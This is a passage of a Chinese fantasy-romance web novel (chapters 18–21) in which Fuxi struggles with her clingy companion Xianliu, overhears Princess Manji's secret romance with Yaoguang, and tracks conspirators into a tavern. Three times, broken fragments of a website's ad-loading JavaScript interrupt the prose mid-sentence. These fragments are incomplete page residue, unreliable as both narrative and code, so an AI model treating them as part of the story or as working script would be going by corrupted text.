扶西连忙抬起手护住脑袋往后退,想偷袭她? 没门! 不料献流却缓步跟上来,最后不由分说地抓住了她的双手。 扶西错愕地缓缓放下双手,抬眼看去,果不其然,献流头上那颗草又在随风招摇。 完了,又成傻子了! 下次得悠着点。 “你,你先放开我。”扶西微笑,不断告诉自己不要与傻子计较。 谁料献流坚决不肯松手,而是拉着她的手来到船尾,不由分说地将她双手一举戳进湖水里。 扶西把手收回来:“你干什么?” 献流皱着眉,还是看着她的手摇头,又拉着戳进水里。 冰凉的湖水激得扶西手臂上起了鸡皮疙瘩,这下再怎么挣扎,献流始终不肯放手。 感受着指尖的凉意渐渐被一双不安分的手裹起来,献流居然在帮她洗手! 洗手?! “你到底什么意思?” “脏。”献流终于打开了他尊贵的金口。 18. 苦命鸳鸯 脏? 她又没干什么,手哪里会脏,顶多拍了拍石台。 罢了,懒得与他计较。 从冰凉的湖水里解脱时,扶西以极快的速度将手抽出来,揣进自己的袖口里。 献流木然地站在一旁,盯着她的手看了一会儿,而后忽的抬起手凑近了些。 “刷——” 他掌心浮现出一个石榴大的火球,火势柔和,缓缓燃烧。 暖黄色的火光在献流脸上投下一片阴影,他将手伸到扶西面前:“暖暖。” 扶西一时有些呆住,她先是看了看献流那张神色认真的脸,确定他并没有再捉弄自己的意思,这才慢悠悠地将手挪出来。 柔和的火焰带来阵阵暖意,扶西僵硬的指节渐渐舒展开来,她面上浮出笑容,抬眼瞧着献流。 “算你还有几分良心,也不算太傻。” 献流听完却立时合拢掌心,将手收了回去,义正言辞:“我不是傻子。” 扶西一双手还捧花似的悬在半空,被他突如其来地转变搞得摸不着头脑,只得又揣回去,点着头敷衍:“是是是,你不是傻子。” 她行至船头,捞起船桨自觉划起来,等不了了,得赶紧回岸上去,把这家伙紧紧捆在床上。 不对,单捆还不够,得把他弄晕才好。 同红生匆匆告别,扶西便使上了十二分的力气,木桨划开光亮如镜的湖水,无数的星快速往后退去。 途中,她却觉得背后传来丝丝凉意,一回头,果不其然,献流这傻子又立在她后头看着,谁晓得又要弄什么幺蛾子。 “你给我安分点,别捣乱。” 扶西出言喝止,生怕这家伙上来就抢她的船桨,把她打进水里。 献流却不按常理出牌,他目光淌过扶西紧绷的手指:“你很冷吗?” 扶西迟疑着点了点头:“是有点,不过还好,划船动起来过后整个身子都慢慢热乎起来了。” 不知道是不是被沾染了傻气,答完献流扶西才反应过来,她其实完全可以不理此人,他自讨没趣,也能少作点妖了。 “那还是冷。” 这回他语气平直。 扶西叹口气:“一点点而已。” 话音刚落,扶西便感受到背后传来一片温暖,再一低头,那傻子的手就这样环着她的腰,再愣了会儿,献流竟将脑袋搁在了扶西肩膀上。 “一点点也是冷。” 扶西感觉自己的脑袋好像一点点膨大,摇摇欲坠地脱离了脖子,向天空飞去,而后又砰的一声炸开。 不是,他有病吧? 扶西先是遵循身体的本能僵硬了一会儿,而后咬紧了牙,她停下手里划船的动作,尽量让自己保持平静。 “你给我放开。” 献流似乎在思考,他把头抬起来:“我抱着你,能暖和一些。” 扶西扁了扁嘴:“我不需要。” 献流蹙起长眉,松了松手臂,下一瞬,他竟又环得更紧:“我也冷。” 扶西冷哼一声,一双拳头已经握了起来,她声音颤抖:“我之前怎么发现你脸皮这么厚。” 献流听完竟不觉得生气,他轻轻朝扶西肩窝靠了靠:“我不知道,我就是想离你近一些。” 几乎是本能驱使。 扶西呼出一口气,拳头蓄足了力气,她大喝一声,哐的一下直冲献流面门而去。 “啊!” 献流立时松了手,整个人倒在船头,他立起上半身,捂着脸不明所以望着扶西被靴子甩起来的裙摆。 扶西将外裳脱下来,龇牙咧嘴地献流捆在船舱里的柱子上,她一面捆一面望着献流透着青紫的脸颊。 “我都是为你的脸皮考虑,不然你明早醒来得去投湖。” 献流耷拉着眉眼,似乎还是不明白自己哪里做错了,他只想暖和一点,两个人一起暖和哪里不对。 扶西要走出去,想了想又折回来,看着献流将要张开的嘴唇,她眼疾手快地掏出他放在前胸的手帕,随意一团堵住了他的嘴。 真是累。 扶西深呼吸两三下,又坐回去继续划船。 莫非这也是受真身的影响。 扶西望着岸边,有些走神,怎么九尾还没跟她通个消息,究竟怎样才能取出真身来,再这么下去,她迟早得累死。 好不容易靠了岸,扶西走进船舱解开献流,先开口堵住他话头。 “等会儿跟着我上岸。” 献流点点头。 “不许说话,不许乱动。” 献流又重重点头。 扶西这才放心将他口里的帕子取下。 “可我忍不住,我想和你说话。” 扶西抬手指了指他胸膛:“是我的真身想和我说话,你不想。” “我也想说。”献流微微一笑,看得扶西严厉的表情松动半分。 “好啊,既然是想跟我说话,那也得等我先说。”扶西退了半步,“我说完你才准说,每次说话不能超过一个字!” 献流眼睛俶尔亮起来,他跟着扶西出舱门,望着她的背影意欲开口,却忽然卡壳了。 不能超过一个字? 那说点什么好呢…… 说实话,她船划得属实稀烂,折腾了半天虽然顺利靠岸,却不在码头边,而是刚好卡在一丛水草旁。 扶西望着水草下头的泥泞,是她老朋友了,小时候多吸点长得快,可她现在大了。 这种沼泽地,过去的时候最好要小心。 正踌躇之时,身侧却忽然传来一股暖意,扶西还来不及反应,已经被献流带到了岸上。 扶西一时无言,只好看着两人陷进泥里的靴子冷笑两声。 “我该谢谢你啊。” “不。” 献流谨记扶西的嘱咐,直说一个字。 “你没发现这水草顷刻间长高了不少吗?”扶西眉眼弯弯,却不见笑意。 献流抬眼望了眼四周,一双眼睛闪着惊奇的光,他重重点了点头:“嗯!” 扶西恨恨地往他胸口捶了一下:“既然这样,还不快点脱身啊!”她恨铁不成钢地垂下头,用手指了指,“你看看!” 献流恍然大悟,他伸手过去,又要拦住扶西的腰,却在看到扶西一双有些湿润的眼睛迟疑了。 思索了半晌,他自己飞了起来。 扶西:…… * 两人满身狼狈地从小沼泽地里走出来,衣摆上沾满了泥土,脸颊也是花里胡哨的。 扶西脏兮兮的脸颊泥中间还有两条清晰可见的泪痕。 献流不敢多语,只一言不发地跟在扶西身后。 高高的水草遮挡视线,扶西随手扒开一丛,又受惊般地收了回去。 献流望着她,眨巴着眼睛:“嗯?” 扶西摆摆手:“等会儿再走吧。”她就地盘腿坐下,整个人已生无可恋到了极致。 献流想凑上去看看,却被扶西一把拉回来,辞色严厉:“不许看!” 献流挪到她身边:“为什么?” “你这句话超过三个字,我拒绝回答。”扶西眼皮卷得很,困意很快袭来,她打了个哈欠,将头埋到了自己腿上。 真是夭寿,怎么来圣 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 湖一趟还能遇到十公主,真是缘分。 原来那水草后头正是十公主曼吉和那天闯进殿中的少年摇光。 “长生?”摇光望着曼吉红润的面庞,有些想不通国主为何给心爱的小女儿取这样一个名字。 曼吉笑笑:“我幼时生了一场大病,险些丧命,后来父王母后请问天巫,替我改了名字,用中原话说就是长命百岁啦。” 摇光望着她宝石般的眸子:“殿下,你的中原话说的很好。” 听到这里,曼吉脸上的喜色有一瞬间有如凝结的霜花,她轻叹口气:“父王让我从小学,也多亏了吉月姑姑教我。” “吉月姑姑?想来是国主的妹妹了。”摇光依旧微笑着,却在曼吉不看他的时候敛去眸中悦色。 “这,算,算是吧……” 曼吉语焉不详,似乎不愿再多讲,转而提起摇光放在身侧的翅膀。 “多谢你方才带着我,不然我都不知道,从天空俯瞰,夜里的伽罗城这么美。”她语气羞涩,只瞄了一眼摇光便偏过头去,脸颊浮上淡淡的红晕。 “是我该谢谢殿下,若非如此,我竟不知晓世上还有这样叫人欢快的事。” 他说话声音很轻,却一字不漏地落入曼吉耳中,片刻后她的脸愈发红了。 “我,不如我还是先回宫中,不然侍女们找不到我,又该心急了。”曼吉从草地上起身,欲言又止地望着摇光,三两眼后她弯了弯腰,转身离去。 摇光却立即上前,一把抓住她的手腕将人转了过来,曼吉的裙摆叮铃作响,扬起个波浪般的弧度,整个人就这样落进了摇光的怀中。 她的心跳极快,像是要挣脱胸膛的束缚。 “殿下,自相识起,我们总在夜里相见。” 曼吉觉得自己好像发不出声音:“嗯……” “可我想白日里也光明正大地见你。”摇光低下头,目光灼灼地盯着曼吉的脸庞,在她的唇边流连忘返,“殿下,你别嫁给那个四皇子,行不行?” 曼吉一只手虚虚地搭在摇光的胸膛上,不知道是不是错觉,好像只有她激动得过了头,为什么摇光的心脏跳动得没有她的剧烈呢? 热血涌上头顶,凉风一吹,曼吉滚烫的脸颊渐渐凉下来一些,她半推半就地拥着摇光,仰头看着他那张有些精致俊俏的面庞。 脑海中不可抑制地涌上来这样一个念头,如果摇光就是四皇子,该多好啊…… “摇光。” 她连舌头都是烫的。 “我没有办法。”她仰头,却不敢同摇光对视,只有些心虚,“中原使臣到访,父王一定会将我嫁出去,否则硝烟四起,我该如何安心。” “我……”不等曼吉说完,摇光的唇已经倾覆而下,在她颊边辗转。 “殿下……”他喘息着,“我带你走,好不好?” 曼吉怔愣着,还没反应过来怎么回事,甚至来不及做出任何的反应。 摇光自顾自地说着。 “我自幼孤苦,出生时便没了母亲,父亲也不知所踪,好在被猎户收养,不想六岁他进山打猎,再也没回来。我摸爬滚打至今,原以为这世上再也不会有叫我牵挂之人,可我遇到了你……”他说着说着,眸间蓄满的泪水像断了线的珠子一样落下来,打湿了曼吉的衣襟。 曼吉心疼地闭上眼睛,抬手抚住他的后背,哽咽着道:“我愿意,我愿意跟你走……” 草丛后头,扶西将两人的对话尽收耳中,听得她也忍不住眼眶湿润。 这摇光和曼吉真是对苦命鸳鸯。 就是这摇光叫人怜惜的经历,总觉得十分耳熟…… 19. 师徒?! 不知什么时候,扶西同献流已经十分自觉地扒开草丛,整整齐齐地将自己的脑袋搁了上去。 扶西忍不住吸了一下鼻子,不想着不大不小的声音居然引得摇光警觉,他猛然转向扶西二人所在的方向,居然将方才的浓情蜜意全然收进腹里。 “谁?!” 扶西与献流不约而同地缓缓蹲下身子,企图再做些无谓的挣扎。 摇光眼风凌厉,似有鼓擂,他用脚尖挑起地上巨大的鹰翅,掌心用力一把拍出,那翅膀便打着旋朝二人快速飞来,先是将两人面前那丛水草拦腰截断,荡起的罡风不出所料地将二人震倒在地。 鹰翅回旋,恰到好处的分寸,并未伤两人性命,又使他们暂时失去反抗的能力。 扶西捂着脸,实在不想被认出来,尽管屁股已经疼得龇牙咧嘴,她还是坚持着扭过头。 摇光收回鹰翅,阔步朝两人走去。 夜色愈深,乌云蔽月,摇光有些看不清两人容貌,却能辨出这是一男一女。 “你们是谁?在这里做什么?” 他声音压得极低,不怒自威,和方才埋在曼吉怀中哭泣的声线迥然不同:“别有用心之人?” 献流一张脸满是污秽,泥土挂在他脸上,他听到摇光的质问,不觉心虚,反而心生趣意,很久没有人用这种语气跟他讲话了,还挺稀奇的。 于是他幽幽开口:“你管我们是谁?这草地难道只许你们两个来吗?” 摇光后头的话忽然都被堵死了,他本来打算再问什么来着....... 扶西听得两眼一黑,十分有情有义地伸出一只手来扯了扯献流的衣角,悄声道:“别说了,先离开再说。” 摇光目光落在扶西身上,只觉得她衣裳莫名有些眼熟。 曼吉将将从方才的情迷意乱中脱身,这才蹙着眉走上来:“你二人都看见什么了?” “什么都看见了。”献流直言不讳,抬手指向摇光,“还看见你亲了她。”他手指又指向曼吉。 两人呆愣在那里,久久无言。 扶西扯着他衣角:“飞啊,和方才一样,带着我飞走……” 曼吉咬着牙,眸中满是被冒犯的不快:“你,你们到底在这里做什么?” 扶西偏头,见献流的嘴唇还是一副跃跃欲试的模样,一咬牙抬起手作势就要去捂他的嘴。 “当然是做和你们一样的事情。” 可惜还是晚了。 几乎是在同一时间,连绵的乌云悄然飘走,明亮的月光尽数往二人身上倾泄,将她们的面庞照得一清二楚,纵有泥污在身,也遮不住两人的五官。 场面一度陷入沉默中。 还是摇光率先打破了这份寂静。 在一片虫鸣蛙叫中,他目光将将触及到献流那双眼睛,一双膝盖顿生软意,完全不顾脚下坚硬的鹰翅,他就这样哐当一声跪了下去。 一个细小的零件恰好扎进他腿间,摇光痛得龇牙咧嘴,献流则是八风不动,一副理所当然的样子。 “你们,你们……”摇光说得断断续续,“果真是天外之人?” 他唇色兀的苍白下去,想挣扎着起身却动弹不得,曼吉过来搀扶他,却也拉不动半分。 摇光想起初见之时,面前这道士就是这样对自己,真不明白哪里得罪他了。 他咬咬牙,破罐子破摔,强忍屈辱磕了三个响头,下半身才得解脱。 曼吉望着两人,目光流连了半晌,才试探着开口:“可,可你们是师徒啊,如此,岂非逆伦!”说实话,她对两人的惊骇甚至大过了被偷听的愤怒,生气逐渐转变为不解,而后变作忧心,“若,若被别人发现了,会怎么样?” 扶西缓缓放下遮在献流唇前的手掌,望着曼吉那双由晦暗到逐渐明亮的眼睛。 她好像懂了点什么…… 做了半天的思想斗争,扶西向前迈了一大步,握住曼吉的手,装出一副苦大仇深的样子:“公主殿下,您,您千万要替我们保守秘密啊!”她装模作样地挤出几滴猫尿来,“要是被人知道,我便不用再做人了!” 曼吉盖住她的手掌,轻轻握了握,似乎松了一口气:“我自然可以替你保守秘密,只是,你也要……”她看向摇光,“替我们保守秘密。” 扶西重重点头:“那是自然!”她拍了拍胸脯,“一言既出,驷马难追,我若将你二人的私情透露半分,天打雷劈!” 曼吉满意地微笑起来:“道长,夜深了,你们快回去吧。” 扶西长长地舒了一口气,立时马不停蹄地拽起献流,将他往曼吉二人相反的方向拉。 月色之下,扶西重重地扯着他的袖角在半人高的枯草丛中前行,不想那献流像只倔牛,越扯越不动。 扶西搓了搓双手,一只手不行上一双手,背对着拉不动就面对面躬着腿拉。 献流还是那副若有所思的模样,看得扶西有些毛骨悚然,见他又要开口,扶西学乖了,先上前一步捂着他嘴,生怕他再说出什么石破天惊的话。 谁料这人变成傻子后力气大了不少,他拿下扶西的手,看了又看:“又脏了。” 扶西立刻收回来在衣角上抹了抹:“这下干净了,快走吧,祖宗!” 献流摇摇头:“再去湖边洗一洗。”他神色认真,“我给你洗。” 扶西仰头,深呼吸三四次,终于下定了决心,她一把撒开献流,蹲在地上,将一张脸埋进了膝盖。 伴随着真假参半的抽泣声,固执己见的献流终于察觉不对劲来,他折回来,用手指戳了戳扶西的后脑勺。 “你是在哭吗?” 没有,我在大笑,你大爷的…… 扶西不理他,只一味接着演,装呗,看谁装得过谁,不就是当傻子吗? 傻子就能为所欲为? 那她一定能演得比献流还傻。 献流踌躇了一会儿,肉眼可见地变得焦急起来,幼时练功时师弟师妹也会因为苦累而哭泣,那个时候他是怎么做的来着…… “哭有用吗?” 扶西止住了号丧一样的抽噎,竖起耳朵反复确认此人说的话。 他说的什么? “哭泣可以发泄内心的苦闷,偶尔哭一哭是可以的。但是一味的哭泣并不能解决问题。” 他语气昂扬向上,阳光积极:“都道世上无难事,你当振作起来,不要被一时的困难的击倒,要勇敢同困难搏斗,直到战胜它们!” “都是小事。” 扶西这下真演不下去了,她蓦的抬起头来,一双蓄满眼泪的眼睛把献流吓了一吓。 但凡他再多说一句, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 她真能当场哭出来。 扶西的眼睛好像和久远的记忆重叠,安慰完师弟师妹们,他们似乎也多用这样的表情看着他。 他咧嘴一笑,看来他的安慰起作用了。 扶西见他笑出来,胸腔几乎要被愤懑填满,她脑海里疯狂地涌上来一个念头。 什么真身,她不要了! 不就是真身吗?她再苦修数千载,结个元丹出来当真身用也是一样的! “我累了。”扶西摆摆手,自顾自往前走了,比飞慢又怎么样,反正比拖着一个人快。 献流眼看着扶西越走越远,再不搭理他,心里头没来由地有些慌神。 这些日子,扶西确实很迁就他。 他这算什么,有恃无恐吗? 扶西的背影越来越小,直到消失在草海的尽头。 献流望着脚下满是泥泞的靴子,终于回过神来。 他得飞回去。 * 扶西满身狼狈的推开房门时,已有侍女拥了上来,她们按捺住心中的好奇给扶西换衣。 似乎不管什么时候,这位道长都是笑意盈盈的,忽然见她面无表情的丧气样子,也不知这话该说不该说。 侍女纠结了会儿:“道长,您徒弟来了,他,他赖在您榻上,不肯走。” 扶西蹙起眉头。 真是神仙真人,居然还在她之前回来了,回来就算了,来她房里做什么? 扶西怒气冲冲地进去,却见献流正端端正正地坐在榻上,连衣裳也换了新的。 快,您老人家真快。 扶西点点头,估计是白日里她肆无忌惮地使唤献流,才叫他一长草就疯狂地报复自己。 “你来做什么?”扶西垂下眼睫,已经没有精力再和他周旋。 “我,我是不是给你添了很多麻烦。”他站起来,斟酌着开口,居然看出一两分拘谨来。 “是,很多!”扶西掷地有声,抬手往门口指了指,“回你房里去,别来打扰我。” 献流局促的神色暗淡下来,他往阶下走了几步:“对不住,可从前师弟师妹哭了,我也是这么安慰他们的,很管用。” “呵。” 你确定是管用而不是人家不想再搭理你吗? 勉强得了句致歉,扶西气消了几分,她依旧指着门口:“走吧,去睡,要是明早起来想投水,想撞柱,都随便你。” 献流见她表情松动,整个人肉眼可见的松活起来,他让到一边,眼看着扶西上了榻。 犹豫了一会儿,他掀开锦被的一角,思忖着怎么悄无声息地躺进去。 不想扶西却出声:“你想跟我睡?” 献流怔了怔,最后点了点头。 扶西嘴角勾起一模笑容,她坐起来,指着角落里那个蛛丝蛹:“那是薛介特意织的裹被,可舒服了,你抱过来睡里面吧。” 听她语气,似乎已经全然气消,献流走到角落,抱起足有人高的蛛丝蛹,轻轻放在扶西榻上。 扶西朝他使了使眼神,嘴角都是笑。 献流回以微笑,而后小心翼翼地钻了进去。 “刷——” 蛛丝蛹俶然收紧,悬在了房顶上。 扶西望着被裹得紧紧实实的献流,忍不住拍着手笑:“怎么样?暖和吧!” 20. 三百六十度完美空中接人 扶西醒得还算早,一睁眼就看到了献流那双毫无生气的眼睛。 他目光呆滞,唇色苍白,向来一丝不苟的鬓发十分凌乱,连扶西醒过来都未能察觉。 他想死,真的。 他觉得自己或许已经注意到了底下窸窸窣窣忙碌的扶西,可他宁愿装作瞎了。 他微微仰头,看着蛛丝蛹上方细细的线。 吊死在这里怎么样? 扶西洗漱好,回身望去,上次她不小心挂在房顶上,是献流掷了一枚石子打断蛛丝将她解救下来。 她环顾四周,没什么趁手的物件,左看右看,便挑了个看着最便宜的杯子。 她眯着一只眼,瞄了半天,蓄足了力气。 茶杯打着转飞上去,不偏不倚,正落在献流的额头上。 他脖颈不可抑制地往后弯去,巨大的蛛丝蛹晃荡着,半晌才停。 扶西双手合十,弯着腰过去拾起来:“我,我不是故意的。”她扁扁嘴,“我体术差得很,准头也差。” 献流不答,眼珠子上翻,眼看着额头肿起一个鸡蛋大的包。 “我再试试。” 扶西甩着手臂,又瞄了半天。 这次打到了另一边额头。 献流面无表情地再上翻眼珠,很好,这边也起了个包。 扶西抿抿唇,尴尬地笑了两声:“我,我知道了。”她灵光一闪,“我去找薛介。” 那薛介姗姗来迟,一进门就吓了一跳。 “哦呦,你这徒弟是小龙女吗?” 扶西不明所以地望过去,果然见他额头上赫然立着两个角。她憋住笑:“少贫嘴,快把他放下来。” 献流落地之后,依旧是一言不发的模样。 扶西凑过去,估摸着又在为昨夜的事情后悔,恨不得即刻死去了。 真是脸皮薄如纸。 薛介瞧着两人,大红嘴唇又咧开:“怎么样?有用吗?” 扶西摆摆手:“快些别说了,这么久了,那石台还是纹丝不动。” 她垂头丧气地蹲下去,末了才反应过来自己是个三百岁的老道,又装模作样地站起来。 薛介细长的手指翻飞:“那先别弄了,我们出去玩吧!”他热情地按住扶西的肩膀,“伽罗城里新开了家酒肆,里头还有胡姬跳舞呢!” 扶西一听眼睛立刻亮了起来,嘴巴一张就要应下,却忽然在看见献流那张颇有些严肃的脸时犹豫了。 “我,我还是不去了。” 薛介摇了摇他,撒了个娇:“哎呀!左右无事,怎么就不能去了!难不成要白白来这人间一趟吗?” 言罢他朝献流看去,在他前头摆了摆手绢:“哎,你去吗?” 献流回答得很快:“我还要修炼,不去。”话音刚落,他拱了拱手,转身便走,“要去你们去吧。” 薛介见他走了,脸上的笑容更加明媚,更是扯住了扶西的手:“走走走!管你那便宜徒弟做什么?” 被他拉到门口,扶西这才忍痛道:“算了,我下次再去,你将那家酒楼的名字告诉我。” “怎么又不去啦!”薛介十分嫌弃地甩开扶西的手,“去个酒楼都犹豫不决,有什么好纠结的,没福气。” 扶西拉了拉自己的外裳:“我现在好歹是个道士,就这么明目张胆跑酒楼里不大好。”她咧嘴笑了笑,“下次,下次一定。” “行吧。”薛介整理着臂上的披帛,“那家酒楼啊叫仙乐,你有空的时候去玩玩呗。” “嗯。”扶西点点头,目送着薛介离开。 见他彻底消失在视线里,扶西这才松了口气,遣散了侍女们,关闭了门窗,她这才进到内间。 掌心温热,她摊开手掌,目不转睛地望着其中缓缓绽开的烟雾。 “小西西!”九尾的声音九转十八弯,“你怎么才理人,你若是再晚些,我可就什么都不说了。” 扶西往前坐了坐:“哎呦,方才出了点事,九尾姐姐不要生气。”她笑了笑,“是不是真身的事有办法了?” 烟雾瞬时展开,九尾熟悉的面容跳跃出来:“那是自然。” 扶西忍不住拍了拍桌子:“我就知道你行!” 九尾笑了笑,手指从烟雾中伸出来,重重点了点扶西的额头:“那可不,我做生意很良心的。” 扶西认真听着。 按九尾所言,献流应该是在濒死之时身体开启了某种“封印”,为求活路,将她的真身一同封在了心脏里,解法倒也不难,只要破了封印就行。 只是这种封印比较少见,九尾当时探过,只发现力量强大,却并不知晓是何禁制,现在唯一的方法只有等献流恢复修为,自行解开,她的真身才能解脱。 扶西听完头一双眼睛里盛满了希望,那小贼看着也不像多厉害的样子,等他恢复修为应该挺简单的,最多耗点时间。 等他恢复修为,等自己拿回真身,一定要将他狠狠暴揍一顿。 “若杀了他,会怎样?”扶西想起自己之前暴力取真身的动作,忽而有些好奇。 “你可悠着些,目前看来,他若死了,你真身困在封印下失了滋养,几日就死了。” 扶西愣了愣:“其实我捅了他好几刀,都没死。” “唔……”九尾思索了会儿,“或许是他命大吧,不过你还是悠着点。” 扶西点点头。 九尾眨了眨眼睛,带着芬芳的长袖一挥,烟雾立时缩回扶西掌心,销声匿迹。 扶西松了口气,整个人的身体都仿佛轻快了不少。 她兴奋地直接从窗户跳了出去,她自认这些时日待此贼不薄,如此小事,两人肯定能一拍即合,看他和自己待在一处也痛苦得很。 日日苦修,早日解脱,阿弥陀佛。 她望着正空的太阳,惊觉自己居然同九尾聊了这么久。 一路行至献流住处,房门紧紧合拢着,同他自冥界出来后时时注意的衣襟一样紧。 扶西推开门,缓步进入其中,绕了三四圈,居然没见到献流本人。 怎么回事,他走时明明说回来修炼了。 扶西唤来侍女,那人道献流确实回来过,不过一刻钟前方走。 “他去哪了?” 有个好事的凑上来:“似乎是城中那家新开的酒楼,好多人都去过呢。” “真的?南疏道长会去那种地方吗?”前一个侍女摇着头,“我觉着他多看我们几眼都难受得要死,怕是不会去酒楼里看胡姬跳舞。” “我真看见了。”那侍女语气里带着笑意,“你以为,我刚从那里回来的。” 扶西闻言眼睛瞪得像铜铃,好你个小贼,明面上修炼,实则偷偷玩去了,怪不得晚上给石头注仙力还能累到。 感情白日根本没有好好修炼。 扶西本想大喝一声,发号施令,让献流屁滚尿流地从酒楼滚回来,可转念一想又觉得这样太便宜他了。 她思索了会儿,便也大摇大摆地跨出宫门,往仙乐去了。 这酒楼果真名不 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 虚传,崭新的牌匾,看起来刚开了不久,门口的地毯上铺满了花瓣,两三个小厮立在门口迎来送往。 十分正经。 她步入其中,便有个热情的姑娘迎了上来:“姐姐,你几个人啊?想坐哪里?”她指着一处靠窗户的桌子,“那里怎么样,又能吹风,看台上胡姬跳舞视线也好。” 扶西笑着点头,却道:“我找个人。” 一听找人,那姑娘的神色便为难起来:“你找谁啊?” 扶西比划了下:“这么高,这么宽,身材不错。”她斟酌了一会儿,咬牙切齿的,“高大英俊的男人,中原长相,冷冷的,不怎么讲话。” 那姑娘回忆了一番:“确实有这么个人来过,此刻他好像去楼上喝酒了。” 又有人进来,这姑娘见扶西也不像会在这里花钱的样子,笑了几声迎别人去了。 扶西踏上旋转的木梯,径直来到二楼,环顾左右,竟还是不见献流身影。 莫非是知道她要来抓现成的,先跑了。 “她在哪?!” “你别动手动脚的。” 声音含着怒气,裹着两分尴尬,耳熟得紧,不是小贼又是谁。 扶西竖着耳朵仔细辨认,最终停在一间房门紧闭的包厢前。 里头传来女人醉醺醺的调笑。 “哎呦喂,你别再装了,我一说你就跟着来,难道还不是心知肚明吗?” “不就是钱吗?姐姐我多的是,你想要多少,我给你多少!” “姑娘,你,你失礼了……” “而且,明明是你说她人在这里,我才跟过来的。” “装!”那人声音都不太稳当,“你接着装!年纪轻轻不学好,反倒怪起我来了?” “你穿成这样,难道不是想勾引我吗?” “你,你简直不可理喻!” “呦,你骂人的样子也挺好看的……” 扶西奋力压下上扬的嘴角,面薄如纸的南疏道长,此刻也是束手无策了。 扶西清了清嗓子,正了正衣襟,谁叫她大人不记小人过,这就进去勉为其难替他脱个身吧。 谁料刚刚触到房门,便有个黑影直挺挺地飞了出来,扶西大惊失色,立时上前用手拦住,一个回旋过后,稳稳当当地停在了房门口。 她低头,看着怀里面色铁青,额头一对角的男人,一时间手脚俱痛,愣在原地。 太重了! 献流压低的眉眼霎时大大展开,一脸的惊讶与局促,后背抵在栏杆上,一双长腿局促又拧巴地缩在角落。 难受又难堪。 还不等他立刻蹦开三丈远,那女人先循着他飞翔的踪迹跑了出来。 三双眼睛齐刷刷对在一处。 安静了一会儿,女人将身子探到栏杆外头:“小二!小二!我要醒酒汤,我,我越发看不清了……” 两人立刻收回眼神,又不约而同地对在一处。 一时无言。 扶西感受到自己被献流的手臂推了推,立刻松开手。 那献流的一双腿却是猝不及防地以一个无法挽回的弧度往下弯了弯,鞋底一滑,他便咚的一声坐到了地上。 扶西摇头,得了,白带着他完美回旋了。 她下意识地伸出手去,献流已经自己站了起来,手忙脚乱地整理仪容。 又静了下去。 扶西觉得她应该打破这种局面,于是她凑到献流前面,语调阴阳怪气:“要去你们去,我还要回去修炼~” 21. 鼹鼠钻洞 此话一出,献流一张脸已经涨得通红,他嗫嚅了半晌,这才道:“既有正事,你别再玩闹了,回去吧。” 扶西看他这副浑身不自在的模样,一时间计上心头。 恰好底下的胡姬舞完一曲,激扬的乐曲衬着欢快的脚步声,不少人从座位上起身,团团围到舞台下方,和胡姬一唱一和起来。 扶西眼睛一亮,大跨步朝下头跑去,跑了半截见献流还紧绷绷地站在上头一动不动,她干脆又噔噔噔地跑回去,一把将他拽了下来。 献流花容失色:“你要干什么?” 扶西咧嘴笑着:“我还没玩够呢,才不回去。” “你……” 不等他说话,扶西已经将他甩到了人群中央,五彩斑斓的衣裳,嗡嗡如潮水的唱词,献流置身其中,只觉得天旋地转,手脚僵硬。 他想走出去,却发现一大群喝酒的没喝酒的人都往他这边挤过来,摩肩擦踵,还有热情的,已经在他旁边跳起来了。 他焦急地张望,绕了一圈才发现扶西正站在人群外围的台阶上朝他招手,嘴角都快咧到后脑勺上了。 “跳啊!你不是会跳舞的吗?”扶西笑得张扬,一面往人群里挤。 献流蹙起长眉:“不,我不会……” 可下一瞬,他的身体便像从前那个被捉弄的晚上一样,灵活地扭动起来,躯干像是被卡扣按在四肢上似的,手脚在前头舞,身子在后头追。 他一张脸热得要命,只恨不能立刻一剑荡平此地。 有热情的姑娘凑过来,拍着手用蹩脚的中原话夸他:“哎呦喂,泥跳的真豪!” 献流尴尬地扬起嘴角,又被乱舞的四肢带去了别处。 和着欢快的乐曲,他居然渐渐从抗拒变为平静,最后竟有点情不自禁地跟着拍子眨眼睛。 手臂不自觉地拢成一个圈,半晌他才反应过来自己已经开始学着旁边的人在跳舞了。 这…… 下一刻,便有个圆溜溜的脑袋土拨鼠似的钻进他手臂拢成的圈里,一双眼睛含着笑意,骨碌碌地转来转去。 不是扶西还能是谁。 他惊了惊,动作都有些变形,却停不下旋转的身子。 于是扶西眼疾手快地从这圈里原路返回,等献流再转过来又钻进去,他转过去,她又钻出来。 乐此不疲。 献流轻轻呼出一口气,居然有些不自觉地勾了勾唇角。 他背对着扶西,正想着等会儿开口说两句话。 “其实,这里好像也挺有意思的……”艰难地说完,他低头才发现,扶西早已不见了踪影。 人呢? 他一边转圈一边找,最后在楼梯下头看到了趴得鬼鬼祟祟的扶西。 又一圈,两人终于对视在一处。 “别跳了,快来!”扶西的口型,还是挺容易看懂的。 献流的四肢终于重获自由,他避开密密麻麻的人群,往扶西的方向走去。 扶西半蹲着,仰头望着从楼梯上经过的人影。 一开始,她是看到了那日刚入人间给他们送钱的人,本打算上去道谢,还不等动身,却忽然见到一个熟人。 薛介,穿得花枝招展,妖妖娆娆,他本就说过自己要来仙乐玩,不足为奇。 怪的是他身侧之人,竟是公主现在的挚爱,摇光。 他一改往日的卑躬屈膝,眼皮微微垂着,薛介站在他下首,笑容满是讨好。 扶西晃了晃脑袋,生怕自己看错了,想着,又往边上挪了点,用柱子遮住身形。 乐曲飞扬间,勉强可听到一点点二人的交谈。 “上楼吧。” “对,楼上说。” 直觉告诉扶西不太对劲,她提了提裙角,拉着赶过来的献流,也随着他们的脚步上了二楼。 绕过正前方的包厢,穿过一条长长的回廊,扶西嗅着有些呛人的香味,追着两人的身影,眼看着他们环顾四周后警惕地进入包厢。 扶西两人从拐角背后挪出来。 对视一眼。 然后不约而同地钻进了那包厢的隔壁。 扶西合拢房门,来到墙壁的位置,将耳朵贴了上去。 这酒楼就是木头搭起来的,和扶西本是亲戚,她贴了会儿,隔壁的声音便清晰可闻传了过来。 “殿下,北境布防已成。” 声音雄浑有力,有点耳熟。 “我不陪你们玩了,都到这一步了,我再掺和,要被雷劈的。” 嗯,尖声骚气,这个是薛介。 